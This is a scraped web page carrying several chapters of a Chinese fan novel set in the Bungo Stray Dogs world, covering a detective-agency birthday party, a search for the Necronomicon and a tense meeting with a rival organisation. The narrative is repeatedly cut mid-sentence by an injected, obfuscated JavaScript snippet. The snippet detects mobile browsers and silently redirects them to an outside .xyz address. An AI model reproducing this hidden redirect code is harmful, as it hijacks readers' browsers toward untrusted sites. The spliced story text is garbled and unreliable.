身为首领,流传的照片极少,你能接触到的,恐怕也只有之前在二叶亭彻家看到的那张——还被费奥多尔拿走了。 “照顾好朔君。”魏尔伦看向立原,淡漠道,“如果再出现让他被掠走的事,你也可以引咎辞职了。” “我出事也不会让朔君出事。”立原说。 “最好真的做到。”魏尔伦说着朝你随意地摆了摆手,“我先回去了,没能把你带回去,我也得想想找个什么借口……” 你与他告别。然而魏尔伦在走出几步后,又忽然转过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13297116|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身。 他朝你扬起一个浅浅的微笑,即使那双蓝色的眼眸在鸭舌帽的阴影下依旧没有光亮,但他身上刺人的冷漠与始终萦绕的死气,如冰雪融化般,在这个微笑下尽皆消去。 “在侦探社玩得开心。”魏尔伦很快就戴好了口罩,掩去了这个浅淡的笑容,不一会儿,青年的身影消失在了你的视线中。 …… 侦探社里布置得很有生日会的氛围,墙壁上和墙角的植物盆栽上装饰着彩带,咖啡厅的留声机被借了上来,播放着温馨欢快的曲子。 乱步戴着尖尖的生日帽,坐在整理出的桌子前,桌子上放着一个三层的奶油蛋糕,侦探社的成员们众星拱月般围在他身边。 立原帮你打开了门,侦探社众人见到你,皆是一愣。 本来坐在沙发上的织田走到你的身前,盯着你的轮椅。 “不小心崴到了。”你解释道,“手也是因为崴到然后摔伤的。” “这样啊。”织田点了点头,不知道在想什么,他接替立原,把你推到了桌旁。 立原将诺亚放到沙发旁边,扯过一条放在地上的多余彩带,绕着魔术师诺亚绑了一个蝴蝶结。 乱步走过来接过你手里的——确切地说是放在腿上的礼物盒子,沉甸甸的重量让他也吃了一惊。 “有很多想要送给乱步先生的东西,而且觉得早上把乱步先生一个人留在教堂很抱歉,不知不觉就挑了很多……”你有点不好意思地说。 “果然你也发现了,是故意被他带走的啊。”乱步抱着礼物盒子,似乎十分高兴,眼带笑意,“那个警员有问题。” “欸,故意被……?”立原睁大了眼睛。 “其实很明显。虽然那家伙易容得很完美,但身上有着第一眼就能看穿的破绽,那就是,市警执勤穿天蓝色衬衫还有外勤服的时候,是不用系领带的。”乱步说。 “一眼看去完全没注意……”立原愣愣地说。 “冬天的白衬衫制服才需要领带啦。”乱步笑了笑,“那家伙不熟悉日本警察。他是哪儿的人?” “是来自俄罗斯的小鸟。”你说。 “啊,原来如此——我知道是谁了。”乱步点点头,他回到原来的位置,把礼物放在沙发上,给蛋糕点上蜡烛,“朔君来得正好,还没有吹蜡烛呢。朔君有想许的愿望吗?” “这是乱步先生的生日,我怎么能许愿呢。”你摇了摇头。 “唉呀——我说可以,就可以。”乱步坐在你的对面,你们透过蜡烛相互对望,“本来,这些生日蜡烛是给二叶亭准备的。” 你一愣。 “前些天是二叶亭的生日啊。他从八年前那个血色的生日之后就不过生日了,今年我本来是想拉着他来侦探社,抓着他给他过一次生日,让他向前看的,蛋糕都订好了,只不过……” 乱步没有继续说下去,他微笑着注视着你,“许个愿望吧。庆祝你来到这个世界,朔君。” 53.第五十三章 一位社员关了房间中的灯,乱步走到你的身边,与你一同对着黑暗中的烛火,默不作声地许下只有你们自己知道的愿望。 烛光摇曳着,你们在生日歌声中一起吹灭蜡烛,周围传来社员们鼓掌的声音。 “乱步先生二十六岁生日快乐!” 喔,这家伙竟然有二十六岁了,说是十六岁说不定也有人信。 灯光再亮起,乱步眯眼笑着,为你挨个介绍侦探社的社员。 首先是侦探社的社长,有着“银狼”之称的福泽谕吉阁下,据说其曾经是政府的特工,他也的确如狼一般镇定冷静。这是个有着一头银发的成熟男人,身穿和服与木屐,有一种古武者的气场,异能不明,看上去不是个好惹的家伙。 “福泽阁下好。”你很有礼貌。 福泽盯着你——你的发旋看了一会儿,矜持地点了点头,移开了视线。 想摸摸你的头的人还挺多的,立原当初在你接近时的第一反应也是想伸手摸摸你的头。 然后就是谷崎兄妹,谷崎润一郎与谷崎直美,两人举止亲密,关系很好的模样。润一郎和立原看起来差不多大,不过气质要温柔许多,而直美穿着水手服,看上去是高中生——这两位应该都还在上学吧? 你们随意地聊了几句,张口闭口都是“兄长大人”的直美对你更感兴趣一点,她一边倚靠在润一郎身上,一边笑眯眯地问了你许多问题。 不过她和调查团不一样,问的东西和教堂以及特异点无关,大多只是日常向的问题,像你喜欢的食物、有没有喜欢的人之类的。在你说出喜欢冰淇淋的时候,直美露出恍然大悟的神色,“和乱步先生很有共同语言呢!” 你向与谢野小姐表达了谢意,与谢野说如果真的感谢她,就好好珍惜自己的性命,不要一次一次地把自己弄得伤痕累累。 说罢,她皱着眉看了看你打着石膏的手臂以及身下的轮椅,显然对你不爱惜身体的行为很不满意。 立原在你身后推着轮椅,但你还是发现了他的视线总是绕着与谢野小姐打转。 “立原是对与谢野小姐一见钟情了吗,之前就一直盯着她看了呢——”你调侃地说。 立原的反应却比你预料的还要大许多,果断地摇头,否认了你的说法,却不肯说为何一直对与谢野抱有紧密的关注。 宫泽贤治有着稻草般金灿灿的头发与一双漂亮的金瞳,脸上长着可爱的雀斑。他的年龄与你一样大,这是个很爱笑的少年,眼睛里充满光亮,简直就是个行走的小太阳。他对你的态度极其友好,在与他相处的时候,你感到像是被阳光照耀着,温暖舒适。 戴着眼镜的国木田独步就要严肃得多,你能感觉到他在审视着你,不像其他人那样几乎毫无戒备——这才是正常的,毕竟你的友好态度改变不了你是个Mafia的事实。 也正是因此,你只与他打了个招呼就将视线转向了下一个社员。 你之前在走廊上见过这位名为“芥川龙之介”的青年,乱步向你介绍他的时候,他正专心地吃着生日会上的红豆派。他吃东西的时候动作幅度很小,几乎没有声音发出,但吃得很迅速,颇有几分奇妙。 在看到你的时候,芥川站了起来,紧紧盯着你,似乎想因为你Mafia的身份说些什么,但被乱步制止了——在生日会上问扫兴的东西的确不好。 但芥川依然试图旁敲侧击地从你口中套取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13338066|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Mafia内部的信息。 他的目的性太强了,套话的话术也不太精妙,你能很轻松地辨别出来并避开陷阱,于是芥川费了不少功夫,也没能从你口中得到什么有价值的情报。 见状,织田把芥川带到了一边去,似乎是讨论着关于你的事情。 不过,你最感兴趣的可能是春野绮罗子和她的三花猫——名字是小咪,比森鸥外的那只黑色的“雪君”正常许多。 绮罗子小姐是侦探社的事务员,就在你与她谈话的时候,你忽然发现雪君不知道怎么跑到了侦探社的窗台上,与小咪追来赶去的——其实是单方面的追赶,雪君想贴贴小咪,但总是被小咪灵活避开。 两只猫儿从窗台窜到沙发,又从沙发窜到桌上。你试着从窗户往楼下看,但是遗憾失败,一是坐着轮椅,立原担心你,不愿意你站起来,二是夜晚的光线不好,夜色已经墨一般深黑了。 “孤儿院到这里的距离很远吧……”你低声自语。 你心中的猜测大概是对的,孤儿院在偏僻的地方,雪君不太可能独自跨越长长的路途跑到这里来,极有可能是森鸥外在附近。 不过你没有继续想这些,吃完自己这份蛋糕后,你伸手轻轻拉了拉乱步,“乱步先生,我想打听一样东西……” 乱步手中碟子里的蛋糕上有许多巧克力,社员们将有最多巧克力的那块蛋糕特意留给了乱步。 闻言,乱步抬起头,他好像立即猜到了你要问什么,“书?” 你不知为何顿了一下,出神地看了他几秒后才点了点头,“死灵之书。” “那个啊……”乱步咬着勺子,“那是二叶亭的悲剧的根源,你真的要找它吗?” 54.第五十四章 “它在呼唤我,今时今刻,每时每刻……” 你的言语中潜藏着某种神秘而危险的蛊惑与引诱,可以感觉到有一支无法理解的力量在你身上如藤蔓般蔓延。 乱步上前一步用力抓住你的肩膀,“朔君。” 他想要把你从那莫名的力量中拉出来,而你只是微微一笑,眼神清明,“这就是我必须找到它的原因。” 乱步吃了一惊,他的惊讶表现得不很明显,但你能发现他的手僵了一瞬间,“如果是这样的话……啊啊,真是的,二叶亭也说过这样的话,‘必须要找到’之类……” 他叹了口气,招手喊来那位名为国木田独步的青年,递给他一串钥匙,“国木田君——请到档案室去,把最右边的柜子,最底层正数第一个档案盒拿过来,上面的标签是纯黑色的。” 国木田的办事效率很快,乱步从他手中接过黑色标签的档案盒,将其打开。 迎上你好奇的目光,乱步说,“这里面是三十一个案件的总结与对比资料。至于更详细的案卷卷宗,资料太多了,而且并没有保存在侦探社。” “三十一个案件……?” “自十多年前我遇见社长,成立侦探社以来,已经解决了日本甚至更远的地方,大大小小上万起案件。”乱步的语调平静得就像在说吃了上万个糖果,好像平均每天解决三个案子对他而言也不过是个数字一般,“而侦探社收到的这上万起案件中,有三十一个案件,可能涉及到你要找的东西。” “这些案子都和死灵之书有关?”你一怔,拿过档案盒,翻开里面的资料,首先映入眼帘的是案件的清单。 “富士五湖恐怖事件”、“和歌山旅行团失踪案”……忽然,你的目光停在了一个被用红笔圈起来的案名上——“剥皮杀手连环杀人案”。 你联想到了在二叶亭彻的笔记上记录下的连环杀人案。 二叶亭彻的唯一亲人正是八年前连环杀人案中的最后一个死者,而那案子的特点,正是人的面皮被剥下。 “不一定有关。”乱步却道,“这些案子的共同联系是涉及到‘非人的未知存在’,死灵之书也只不过是与那位存在有关联。” “这个圈起来的案子……”你指了指被圈起来的连环杀人案。 “这是二叶亭之前在追查的案子。”乱步的手指在案名上摩挲着,语气难得地冰冷,“凶手有两个,他们犯下连环杀人案并将被害人脸上的皮剥下,然后用人皮缝了两双靴子。被逮捕的时候,他们正穿着血腥的靴子,尝试走进‘天使落下尾羽的角落’。” “……什么是‘天使落下尾羽的角落’?”你念了一遍,发现有些不对,“天使有尾巴吗?” “谁知道呢。总之我不信有‘天使’这个物种,不信任何神。”乱步说,“这个月月初的时候,这两个人被判了死刑。” “我记得这个是八年前的案子……”你皱了皱眉。 “抓捕费了一番功夫,然后从一审到终审,也花费了很长的时间。两位凶手对一审结果不满意,以精神不正常以及证据不充分为由提起上诉,检方和二叶亭也对判决不满意,想要法院判处他们死刑。” “但是这也太久了吧。”你说。 “这个案子很棘手,没有除了他们脚上的靴子以外的证据。凶器都没有找到,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13338067|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能定罪,还是因为我设法让他们自己自曝了罪行。”乱步说,“中途因为要调查他们说的话是什么意思,以及他们的异常被怀疑与异能有关,所以他们接连被移交到了特务科和军警。以及——这两个凶手是美国人。他们被二叶亭追查得跑到境外去了,于是最开始时就由于管辖的问题,和美方僵持了很久。” “哦……”你点了点头。 虽然乱步说的是“僵持”,但你能猜到完全不是那样……日本作为异能战争的战败国,在涉外的事情上几乎毫无还手之力,僵持的说法还是太给面子了。 事实上,这件案子能让日本的法院进行审判并成功判处死刑,简直可以说是奇迹。 “这个也是没有证据的案子啊。”你忽然意识到了什么,“和教堂案一样呢。” “是异能导致的。”乱步撇了撇嘴。 “这种异能……”你的眼神一动,不过没有继续说下去。 “总之,找死灵之书的话,大致有四条路径。”乱步低头看着档案盒,“第一条路径,逐个调查这些案件,走访这些案件的相关人员,回到这些案件的案发地点。” “第二条路径,Mafia在这方面的情报未必比侦探社少,而且他们人多,有充足的人手协助你调查,你可以去问问你的兄长——”乱步突然笑了一下,“兄长们。” “第三条路径,这些案件的详细档案都在军警里,军警收集的这方面案子肯定比侦探社多,你可以回军警去查一查。” “至于第四条嘛……”乱步想了想,“你可以去特务科看看,那个地方什么都有,说不定都不用调查,就直接找到死灵之书了呢。” 55.第五十五章 “我不赞同你去寻找死灵之书,但我恐怕也没法阻止什么。” 乱步的情绪有短暂的低落,也许是想到了他本应救下最终却没有救下的人们,或者想到了二叶亭彻。 在乱步十多年的侦探生涯中,自然也历经过让他也感到无能为力的事。名侦探江户川乱步也是人类,也会出现错误,但是无力并没有让他感到麻木,更没有让他对死亡习以为常以至于变得冷漠。乱步依然尝试着去救下步入危险的人们,尽力地去帮助着那些连理解他的思路都难以做到的笨蛋们。 你与乱步进行了漫长的交谈,他帮你分析着各路径的利弊,给你简短地介绍这些案件。 有的案件距今已过去十年之久,但乱步依然清晰地记得每个细节与线索,并将不同案件中的一些相似点串联了起来。 他的大脑中或许有一座宏伟的记忆宫殿,往昔的案件都存放在那里,而他是那座宫殿绝对的控制者,否则无法解释他的思维怎么能这样灵敏。 有时,乱步不是纯粹地讲解这些案件,而是引导你自发地通过零碎的信息,思考出背后所隐藏着的真相。 几个社员围过来和你一起听着。或许因为今天是乱步的生日,他很有讲话的兴致,时间在言语中流逝,最后乱步望向你,“我不建议选择路径一,仅凭朔君你一个人,或者带上立原君,要重新调查这些案件,不仅危险性极高,还得花费大量时间,以年为单位,也未必能找到你们想寻找的东西。” 你微笑着点头答应着,但你当然有自己的想法,乱步看出来了,他轻叹着摇了摇头。 谢过乱步后,你便带着立原和诺亚离开了侦探社。 这时候的诺亚身上已经绑上了五六个不同颜色的彩带蝴蝶结——看来魔术师诺亚在侦探社内也很受欢迎。这是横滨有史以来最受欢迎的花盆宠物。 你抱着诺亚,立原推着你的轮椅。夜晚的风带来阵阵凉意,今日一整天的天气都阴沉沉的,但直到现在竟也没落下雨滴,反倒有转晴的趋势。 你拿出手机,发现又有未读的消息。 显示在最上面的正是太宰的回复,你毫不迟疑地点开查看。 太宰治:【朔君,我好像看到了一个连回来与我待在一起都不愿意的人说想我呢,真是离奇的幻觉啊。】 你:【唉呀,也有可能是偶尔睡了一个好觉,才做了这样的梦。怎么会梦到这样的人呢?不管这奇怪的家伙是谁,我是真心想念太宰先生的。】 太宰治:【一边想念着我,一边不知道在什么地方夜不归宿。比起朔君说的话,我更相信你做出的行动——行为表示,朔君的撒谎水平见长嘛。】 你:【才不是这样呢,在这件事上我一点也没撒谎,太宰先生是我最重要的人。】 太宰治:【今晚回来吗?】 你发了个诺亚卖萌的表情包,【诺亚说,想继续在外面玩一玩。】 太宰治:【自己想做什么事,不可以推到诺亚身上。】 你发了个垂头丧气的小猫表情包。 太宰治:【想做什么就去做吧,不过……】 他发了个眯眼笑的表情。 【回来之前想好怎么解释跳楼的事哦。朔君。】 你几乎可以透过这个表情图片看见微笑着的太宰。 稍微一想便能知道,是魏尔伦把你跳楼的事情上报给了太宰。 退出对话窗口,还有几条消息是果戈里发来的,你用随心所欲中夹杂着几分温柔的口吻回复了他的消息。 可以看出,在你对他的消息逐一回复后,果戈里已经不那么焦急了,变得从容了许多。 但同样可以看出,如果继续这样聊下去,假以时日,果戈里先生大概会自己把自己攻略了。 细心地回完所有消息,你抬头望向立原,“有一件事,我想交给立原君去完成。” 立原却没有马上答应下来,他紧紧地抓着轮椅的扶手,就像怕你又被果戈里带走,“是什么事?” “雪君会出现在侦探社不会是偶然,森先生肯定就在附近。”你说,“我要你去查明森先生来这附近做什么。” “这种事情,朔君打个电话问问他,不就知道了吗。”立原智商上线。 “森先生悄悄来这里,肯定不会说实话的。”你说。 立原摇头,“他去做什么不重要,保护好朔君才是重要的事。” “一定要这样吗?”你叹息一声,眼神变得异样地平静,“这是命令,立原。” “但是首领和干部魏尔伦先生的命令都是保护好你。”立原说,“在Mafia里,等级的压制是无法抗拒的。朔君,我接到的命令是保护好你,仅此而已。” “命令是保护好我……”你轻声问,“立原的内心是怎么想的呢?” “我的内心想法……”立原愣了一下,旋即道,“当然也是保护好朔君。我不会再让朔君受到伤害。” “立原这么喜欢我吗?”你问。 这有点异常。你对待立原的态度,别说与对待太宰时的态度相提并论,连对待果戈里和魏尔伦的态度都不如。 甚至面对侦探社只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13340689|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过一面的社员们,你也比对待立原时温柔许多。 立原沉默了一下,说,“我觉得……朔君是值得保护的人。” “是指我很有价值的意思吗?”你笑了笑。 “不是这样,我——”立原有些焦躁地抓了抓头发,“我不知道。反正……我怎么想都无所谓吧?朔君不喜欢我,想要赶我走,可是,除了保护好朔君,我是做不了其他的事的……您就别为难我了。” “立原……”你仰头,抬起那只没有打石膏的手。 立原怔愣了一下,顺从地低头俯身,任由你将手抚上他的下巴,顺着脸颊摸到他的耳朵。 “没有自己的想法,完全遵循着命令而行动——真是把好用的刀啊。”你低声喃喃着,“这样会减少很多烦恼吧,什么也不用多想,只需要照着命令去做事就可以了,完成任务则生,任务失败则死,真是……” 立原默然不语。 你的眼神逐渐冰冷了起来,“战争中的士兵就是这样,只需要去完成命令,这样的话连杀死他人都没有心理负担,因为‘只是在完成命令而已’,觉得罪责全部由下发命令的人承担。但是——立原,人是不会、也不能变成刀的,人类就是人类。” 你感觉到自己的手触摸到的地方一片僵冷,立原或许是全身都僵硬了,一动不动地以俯身的姿势站在原地。 然而你却在这时收回了手,轻轻地笑了,“我既不是以Mafia准干部的名义,也不是以太宰先生收养的孩子的名义命令你的。立原君……我在以军警犯罪对策科顾问的名义命令你,离开这里,去给我查明森鸥外离开孤儿院是去做什么,明白了吗?” 立原张了张嘴,“顾问先生……但是……” “还不快去。”你冷漠道,“难道你觉得凭我能从果戈里手中安全离开的能力,还会出什么意外吗?” “……遵命。”虽然这样说着,立原离开时还是很犹疑。 他把你推到人行道靠边的地方,走几步就要回头看你一眼,“朔君,你在这等等我,不管查到什么结果,我很快就回来。” 你微不可察地叹了口气,“……笨蛋。” 的确是笨蛋,犯罪对策科和猎犬是两个部门的,别说猎犬队员比犯罪对策科顾问的级别更高了,就算是顾问的级别更高,也命令不到猎犬的头上去。 你抱着诺亚,在原地等待了片刻,不多时便等来了一位路人。 自问自答异能的作用下,路人瞬间被你控制。 现在,没有人监视看管你,你可以自由行动了。 56.第五十六章 擂钵街的复杂地形,阻拦了行动不便的你继续往下深入。 你坐着轮椅,在擂钵街边缘处的一座有着古典气息的私人公馆外,眺望远处费奥多尔原本的据点所在地。 参差不齐的房屋在夜晚里连成一片黑暗的影子。 被炸毁据点的废墟已被清扫了大半,过不了多少时日,就会有新的居民来到这里,将此地占为己有。 你的视线移转。 在另外一个方向,擂钵街外围走出一段距离,屹立着一座拥有独特古典美感的高大要塞。 在暗无繁星的黑夜中,骸塞的影子像是一个身形修长的怪物,充满古老的神秘感,凝视得久了,仿佛有着吞噬人的精神力量,带给人一种神经衰竭的感觉。 你轻轻晃了晃脑袋,收回视线。 臣服于你的异能之下的黑商将你恭敬地带入馆中,他推着你的轮椅,为你准备变装所用的新服饰与妆容。 对于不知道你的异能的人,尤其是非异能者,你的异能尤其好用。 “格哈德安保服务从前天晚上开始就在打探关于您的消息,想要与您见一面。”黑商说,“但是我们也没有联系上您的办法,只能说一等您出现,就告诉他们。” 你拆下绷带和手臂上的石膏。手藏在宽松的黑色衣袖中,倒也看不出什么异样。 “我重新出现这件事,已经通知过他们了?”镜子里,易容师正在为你遮掩相貌特征。 你看着镜子中逐渐面目全非的自己,如此问道。 “没有。”黑商低头道,“毕竟您没有给出命令。” 你点了点头,让黑商现在派人去通知格哈德安保服务。 这次是他们希望与你见面,而不是你去找他们,故而你在易容完毕后,便坐在材质不凡的沙发上,双腿交叠——崴到的那只腿放在上面,自然得完全看不出那里受了伤,一副随心所欲的强大从容模样。 而后,你随手拿起一本书放在腿上,正如上次坡等着与你会面一般。 格哈德安保服务的人来得很快,这次领头的是坡,没看见之前调查团那位很有领导力的高个子金发男人。 小浣熊卡尔挂在坡的肩膀上,见到你之后,灵敏地窜了下来,跳到了你用来装模作样的书上。 “卡尔!”坡一惊,本来沉稳冷静的气场,一下子被这突如其来的意外破坏了,他有些慌忙地上前半步,仿佛想将卡尔抱回来,又觉得不妥,顿时进也不是退也不是,低声喊道,“卡尔……快点回来……” “没关系,看来卡尔很喜欢我呢。”你微微一笑,揉了揉卡尔的脑袋,嗯、毛茸茸的,还很暖和,和抱诺亚是不一样的感觉。 坡欲言又止,坐到你对面。 也许他在来之前有盘算过如何才能在谈话中拿出气场取得最大的利益,但在卡尔这一跑动下,什么气势都荡然无存。 坡呼出一口气,“我们找了您很久,找得很辛苦呢,简直像查无此人一样。” 如果黑商说的没错的话,他们从前天晚上开始找你,最多也就找了两天而已。 “该出现的时候,我自然会出现。”你说。 你没有主动给出联系方式,坡有些失望,进一步道,“难道今后还是要等您来通知,我们才能找到您吗?” “看你们的诚意如何,否则——”你轻轻地笑了笑,“今后也没有再见面的必要。” “……我们自然是有诚意的。”坡冷静地注视着你,也露出一个浅笑,“到现在,我们组织现在还没有对您动手,这就是诚意的表现。” “这种诚意还真是令人耳目一新啊。”你轻松地应对着这简单的试探。 如果是普通人面对坡这番不乏傲慢的话,恐怕要么感到恼火,要么心中惊慌,而你就像面对一只咪呜咪呜喊着要杀了自己的小猫,一笑了之,尽显底气。 “明明是摸不透我的实力,不敢轻易动手,都能说成诚意呢。”你一语道破。 坡从容道,“这您就说错了,这个世界上还没有我们组织不敢动手的人,我们只是对于您抱有尊敬而已——毕竟,如果我们猜得没错,您就是群体失忆事件的缘由,在那一天,出现在教堂中的、除去二叶亭彻以外的人吧。” 你不置可否,示意他继续说。 “您对教堂案以及制造特异点的人太熟悉了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13362671|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了制造特异点的幕后黑手本身,没有人能了解得那样详尽。”坡更加肯定地说。 其实上次你和他们会面的时候,有很多东西都是胡说八道,也没人能证实,但坡以及其背后的势力好像相信了。 “我们想……请您使用您的异能。”坡诚挚地说,“我们希望看看您的异能究竟能做到何种地步。” 你低头漫不经心地抚摸着卡尔的尾巴,“贵组织想必知道合作的本质,就是一方先让出一部分利益,以期望与另一方建立联系,得到丰厚的回报。而我呢,恰好是不愿意先让出利益的人,如果要我这样做,你们得先完成我的要求。” 坡摇了摇头,“抓到‘白色死神’未免太不对等,我们只是希望看看您能做到何种地步,不是要求您必须做到什么,不是么?” “这在我看来是对等的要求。” “……”坡沉默了一会儿,说,“这样吧,我们先进一步加深联系,取信于彼此,先达成一个初步的合作。” 你点头,做出了个请的手势,于是坡想了想,先提出他们的要求—— “最近横滨常有异能者被异能自身杀害,我们需要这方面的情报……”坡顿了一下,补充道,“越详细越好,而且一些基础的信息,我们也是有的,不需要您来提供。” 你没说行,也没说不行,“我希望与洛夫克拉夫特先生见一面。” 坡一愣,他抬头直直地看着你,似乎非常惊讶你会说出这个名字。 “您认识那位先生……?”坡问。 你微笑不语。 坡轻轻吸了一口气,他眯了眯眼睛,“上次您说,这次见面,我们能知道您的名字……” “来苏。”你这次回答了,而且是一字一顿口齿清晰地回答的,但你报了个假名。 来、苏,两个汉字,组合在一起,充满着让人无法理解的古老与神秘,其中蕴藏着的意味,在场没有人能够知晓,而你就像轻描淡写地念出了两个玄奥的符文。 “煤酚皂溶液(Lysol)……?”坡茫然了一瞬间。 你没有做出任何解释。此刻,你在他人眼中的形象,越发神秘起来。 57.第五十七章 坡将你的名字低声地反复念了几遍,舌与上颚分开,空气从唇齿中吐出来。 来、苏……玄奥的字音被他牢牢地记住。 他当着你的面拨通了电话,或许是在询问之前调查团那位明显是领头人的金发男人,菲茨杰拉德。 坡将你的要求转述了一遍,并丝毫不掩饰地表示,他怀疑你与那位名为“洛夫克拉夫特”的人有着某种联系。 过了一会儿,坡挂断了电话,“霍华德先生同意了与您见面,不过您恐怕要等待一段时日,他现在不在横滨,而且我们没法对这位先生要去哪里提出异议,掌握不了他的确切行踪。” “不必。”你笑了笑,“我怎么好让那位先生专门为见我而跑一趟横滨呢……您问问,能不能请他来梦中与我相见。” 坡吃了一惊,他再次拨出了电话,在等待电话接通的时候,长久地以有些惊异的眼神注视着你。 而当他再次结束通话时,你看到坡看起来有些无法理解,“霍华德先生同意了,而且他好像很高兴……来苏先生与霍华德先生是旧友吗?” “故人。”你以十分随意的口吻说。 可信度不高,但坡就仿佛相信了你的话,了然道:“原来如此。” 你们交谈了一会儿,坡对你的来历进行了试探。只不过你说话滴水不漏,即使水喝了两大杯,他也没能从你口中试出你来自于何方。 而你也从他这里得到了不少信息,比如他背后的组织——“组合”。 坡告诉你关于组合的信息,是希望展示实力,想要你因为组合的实力感到敬畏,从而建立谈话上的优势。 但他的意图显然又失败了,信息之间的交换只起到了推进合作的作用。 只不过,虽然交换了有限的信息,你们依然互不信任。 组合不知道你的实力深浅以及最终目的,而你也没有打探出组合希望你使用异能的缘由。 当天晚上,随便找了个旅馆睡下的你,再次做了噩梦。 只不过这次的梦境,充斥着难以明言的诡异气息。 首先,这次的梦境是能够被描述的……意思是你在梦境中的意识无比清醒,但你无法摆脱睡眠的桎梏,没有主动醒过来的办法。 其次,你的梦境内容十分奇特。 按理来说,既然你的意识无比清醒,梦境中的一切被你所掌控,也不会太过迷幻离奇才对。 然而,你的这个梦境中的景象,却比最光怪陆离的幻梦还要迷幻。 楼房的体积极为庞大,但其形状不符合几何规则,没有见过的人很难去想象会出现这样的建筑,乍看上去是一座建筑,但细看又好像是由多排建筑相连相接,绵延成一座巨大又复杂的造物。 而砖缝中生长出的红色蕨类植物,不曾出现在任何百科图书上,溢散着不可思议的气息。 红色蕨类植物扎根在黑色的建筑上,若是拉高视野,眯起眼睛模糊地看,这片世界就是红色和黑色的一团,就像是一只死掉的乌鸦的尸体,遍布血色的痕迹。 渺小的你坐在众多的猩红蕨类植物之中,坐在一处横着的黑色建筑构造之上—— 你不可能用双眼去观察拉高视野后,这片世界呈现出的是如何令人不安的景象,但你依然了解这个世界,就像了解你自身。 梦境里的你有着与二叶亭彻截然不同的外貌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13376256|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是个有着黑色长发的青年,耳边的碎发被整齐地剪短了,而耳后的长发归拢用红绳松松地扎起一条辫子,绕到肩膀前垂下。他——也就是你,耳垂夹着银色的衔尾蛇环耳坠,衔尾蛇头尾相接的地方朝下,连接着纯黑色的流苏。至于身上,则是穿着带盘扣的绸缎黑衫,衣上带着繁复的提花暗纹,外面披着一件薄薄的暗红色长褂外套,上面以刺绣工艺纹着玄色的凤。 最值得注意的,是你的瞳孔。 人类的瞳孔位于虹膜的中间,光线由此进入眼中。正常情况下,虹膜可能有多种颜色,但瞳孔都是漆黑的。 而你的瞳孔十分吊诡,在正中的地方,赫然是一个猩红的点,如同运转中的摄像头一般……即使是发生病变,人类的瞳孔也不可能出现这番景象! 光线透过这血一样的猩红进入你的眼中,很难去想象,你眼中的世界会是怎样一番恐怖的模样……你的眼皮抬起,偏过头。耳下的流苏摇晃着,那两个猩红的点锁定了目标—— 远处,红色与黑色的世界遭到了极为迅猛的侵蚀。 一根高高的如祭台般的黑色石柱之后,掀起了遮天蔽日的深蓝巨浪! 